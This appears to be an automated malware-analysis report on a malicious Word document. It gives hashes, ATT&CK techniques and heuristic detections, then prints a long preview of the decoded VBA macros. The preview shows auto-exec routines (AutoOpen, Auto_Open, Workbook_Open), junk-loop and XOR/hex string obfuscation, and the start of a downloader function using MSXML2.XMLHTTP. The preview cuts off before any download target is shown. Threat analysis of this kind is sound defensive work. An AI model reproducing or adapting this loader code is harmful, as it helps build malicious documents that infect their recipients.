Office (OLE) malware analysis — malicious · 81010eb66af605a6

MALICIOUS

Office (OLE)

132.5 KB Created: 2014-12-08 15:45:00 Authoring application: Microsoft Office Word First seen: 2015-01-04

MD5: 5f24454f77fce041b5b97b845ab4f931 SHA-1: a041d0ae39bacd421fc697dcb1157127f9a5a8e1 SHA-256: 81010eb66af605a6fe6b83ac1f8d5fe68aa167a6351f1b54181121ea4324c3c0

274 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing heavily obfuscated VBA macros, indicated by multiple heuristic firings including 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC'. The presence of AutoOpen and other auto-execution markers suggests an attempt to run malicious code upon opening. The VBA code appears to be designed to download and execute a second-stage payload, though the specific download URL or execution mechanism is obfuscated.

Heuristics 11

ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
VBA macros detected medium 7 related findings OLE_VBA_MACROS

Document contains VBA macro code
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
    Set TANDPOVQGQA = CreateObject("MSXML2.XMLHTTP")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set TANDPOVQGQA = CreateObject("MSXML2.XMLHTTP")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub Auto_Open()
```

Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)

Matched line in script

hvUHVIKdfg.Open Environ(XORI(Hextostring("1E3D271B"), Hextostring("4A786A4B6874"))) & XORI(Hextostring("2C1E252F13113A15343D080E5E220B12"), Hextostring("70477377514B"))

Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	97808 bytes
SHA-256: `09022a600934d52d42597fa628904d1fae6c53daf99ae7f7fcc8486f1e53c02e`
Detection ClamAV: No threats found Obfuscation or payload: likely 209 of 322 identifiers look randomly generated (e.g. 'B082221350B3E2B301B2D3C59340C1C') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Public Function udSfgcxvyHuj53() As Integer Dim eiVoGZpnXWzx49, qRJmlmFPlrCD87, FZHscHkJlotl55, LxUPoSqHTfls63 As String Dim HzsyfFyjswPh81, hEUoBhjOeRuY68, oYoJqwnBvIHd34, hqlHbgAxnHnr62 As Integer HzsyfFyjswPh81 = 1495 eiVoGZpnXWzx49 = J hEUoBhjOeRuY68 = Asc(eiVoGZpnXWzx49) If HzsyfFyjswPh81 > hEUoBhjOeRuY68 Then For oYoJqwnBvIHd34 = 1 To 94 hqlHbgAxnHnr62 = hEUoBhjOeRuY68 + oYoJqwnBvIHd34 Next oYoJqwnBvIHd34 hqlHbgAxnHnr62 = hqlHbgAxnHnr62 + HzsyfFyjswPh81 qRJmlmFPlrCD87 = CStr(hqlHbgAxnHnr62) FZHscHkJlotl55 = Mid$(qRJmlmFPlrCD87, 1, 4) LxUPoSqHTfls63 = LxUPoSqHTfls63 & "57" udSfgcxvyHuj53 = CInt(Mid$(LxUPoSqHTfls63, 2, 6)) Else udSfgcxvyHuj53 = 94 + 1495 MsgBox ("IPjqEXqygUPN75") End Function Public Function bETZYueMGkOU84() As Integer Dim WmItFQyGHxPN65, qCvTgwsqdTDE99, gJheakrpvPax16, dcLbtlNPtKkn35 As String Dim NlvLmYIFnCLL13, TzJqzallktvc92, SYaokMmHldig16, gShDuklqBhtw66 As Integer NlvLmYIFnCLL13 = 6872 WmItFQyGHxPN65 = m TzJqzallktvc92 = Asc(WmItFQyGHxPN65) If NlvLmYIFnCLL13 > TzJqzallktvc92 Then For SYaokMmHldig16 = 1 To 77 gShDuklqBhtw66 = TzJqzallktvc92 + SYaokMmHldig16 Next SYaokMmHldig16 gShDuklqBhtw66 = gShDuklqBhtw66 + NlvLmYIFnCLL13 qCvTgwsqdTDE99 = CStr(gShDuklqBhtw66) gJheakrpvPax16 = Mid$(qCvTgwsqdTDE99, 1, 4) dcLbtlNPtKkn35 = dcLbtlNPtKkn35 & "28" bETZYueMGkOU84 = CInt(Mid$(dcLbtlNPtKkn35, 2, 6)) Else bETZYueMGkOU84 = 77 + 6872 MsgBox ("LWfqBDkhVpte29") End Function Public Function pUAIUwudHmNA87() As Integer Dim FTnbQKPlJbii56, RtiULzyUcIjV63, HyWlAHvLOSDr82, gUjxdkOsnWpm35 As String Dim WhOFWQwHkzFB35, hgzeFjMBVuEK63, RBojBzwIBfwC98, lYuqKddqqmlf17 As Integer WhOFWQwHkzFB35 = 8858 FTnbQKPlJbii56 = s hgzeFjMBVuEK63 = Asc(FTnbQKPlJbii56) If WhOFWQwHkzFB35 > hgzeFjMBVuEK63 Then For RBojBzwIBfwC98 = 1 To 69 lYuqKddqqmlf17 = hgzeFjMBVuEK63 + RBojBzwIBfwC98 Next RBojBzwIBfwC98 lYuqKddqqmlf17 = lYuqKddqqmlf17 + WhOFWQwHkzFB35 RtiULzyUcIjV63 = CStr(lYuqKddqqmlf17) HyWlAHvLOSDr82 = Mid$(RtiULzyUcIjV63, 1, 4) gUjxdkOsnWpm35 = gUjxdkOsnWpm35 & "52" pUAIUwudHmNA87 = CInt(Mid$(gUjxdkOsnWpm35, 2, 6)) Else pUAIUwudHmNA87 = 69 + 8858 MsgBox ("erjPkZuGFdhP49") End Function Public Function jfAligpEwlEQ12() As Integer Dim milJMqzZUbJR29, lFXfVdVzfYiI48, yPAUfnYuOQOa26, QlMBWMkQnLfT81 As String Dim KCrCqDloZaVx29, uUpqwvWKEiHn89, pPkmLwoylsLM64, ucsRIvnLTlBb84 As Integer KCrCqDloZaVx29 = 1658 milJMqzZUbJR29 = K uUpqwvWKEiHn89 = Asc(milJMqzZUbJR29) If KCrCqDloZaVx29 > uUpqwvWKEiHn89 Then For pPkmLwoylsLM64 = 1 To 34 ucsRIvnLTlBb84 = uUpqwvWKEiHn89 + pPkmLwoylsLM64 Next pPkmLwoylsLM64 ucsRIvnLTlBb84 = ucsRIvnLTlBb84 + KCrCqDloZaVx29 lFXfVdVzfYiI48 = CStr(ucsRIvnLTlBb84) yPAUfnYuOQOa26 = Mid$(lFXfVdVzfYiI48, 1, 4) QlMBWMkQnLfT81 = QlMBWMkQnLfT81 & "96" jfAligpEwlEQ12 = CInt(Mid$(QlMBWMkQnLfT81, 2, 6)) Else jfAligpEwlEQ12 = 34 + 1658 MsgBox ("zEwyXEIMmdQY76") End Function 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Sub Auto_Open() 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 584122 = 584122 + 1 Then End 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 3324 < 88 Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim nEXDgRqy As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For nEXDgRqy = 0 To 1 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim yaGbefeX As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For yaGbefeX = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next yaGbefeX 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next nEXDgRqy 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim pEKfXpHy As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For pEKfXpHy = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next pEKfXpHy 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("XKOLakoD41") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If Len("YKylDIdE6587") = Len("iwOTXuSp") Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim DrRrkked As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For DrRrkked = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim PbYySYGu As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For PbYySYGu = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next PbYySYGu 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next DrRrkked 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim FzOMREZj As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For FzOMREZj = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next FzOMREZj 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("Error !!!") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim PvKzslCn As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For PvKzslCn = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim AEJhSGSz As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For AEJhSGSz = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next AEJhSGSz 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next PvKzslCn 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim pZXVzypE As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For pZXVzypE = 0 To 3 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next pZXVzypE 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DRBDBIEYZQO 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End Sub 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Sub AutoOpen() 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 491375 = 491375 + 1 Then End 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 5554 < 73 Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim nZessZMw As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For nZessZMw = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim xiupQNII As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For xiupQNII = 0 To 3 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next xiupQNII 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next nZessZMw 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim lZmiTzEW As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For lZmiTzEW = 0 To 3 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next lZmiTzEW 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("pFgxYtFJ94") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If Len("JrlwGcPp8727") = Len("ScJNIEVx") Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim lbDxSOxW As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For lbDxSOxW = 0 To 8 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim kIJlfaUb As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For kIJlfaUb = 0 To 8 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next kIJlfaUb 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next lbDxSOxW 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim iGQJZsCC As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For iGQJZsCC = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next iGQJZsCC 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("Error !!!") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim oYUMaMQl As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For oYUMaMQl = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim aEdFhhSv As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For aEdFhhSv = 0 To 5 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next aEdFhhSv 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next oYUMaMQl 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim xiiyaMSg As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For xiiyaMSg = 0 To 9 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next xiiyaMSg 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Auto_Open 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End Sub 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Sub Workbook_Open() 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 958469 = 958469 + 1 Then End 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 3274 < 97 Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim yCqTYMfr As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For yCqTYMfr = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim ecHvXpSn As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For ecHvXpSn = 0 To 5 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next ecHvXpSn 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next yCqTYMfr 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim pYZnrzgT As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For pYZnrzgT = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next pYZnrzgT 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("jZtqdVZB12") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If Len("USYkfUKi4124") = Len("ojpTxykF") Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim PbSvEhlJ As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For PbSvEhlJ = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim bFKhTOYG As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For bFKhTOYG = 0 To 4 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next bFKhTOYG 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next PbSvEhlJ 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim WkFUkdYT As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For WkFUkdYT = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next WkFUkdYT 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("Error !!!") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim trUJgLlU As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For trUJgLlU = 0 To 3 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim xtxNqOon As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For xtxNqOon = 0 To 3 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next xtxNqOon 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next trUJgLlU 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim RfozlAQR As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For RfozlAQR = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next RfozlAQR 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Auto_Open 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End Sub 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Function QOZMTJITZON(ByVal DCRVOFYOBOL As String, ByVal ZXWOGYWHSHM As String) As Boolean 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim TANDPOVQGQA As Object, FJOOUIEHIOV As Long, FPBPEDJWSVG As Long, QIQIKQJTKIU() As Byte 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 566372 = 566372 + 1 Then End 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 2411 < 27 Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim rfPSmzlN As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For rfPSmzlN = 0 To 9 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim ATYpjcIY As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For ATYpjcIY = 0 To 4 'ИТРО П87цп 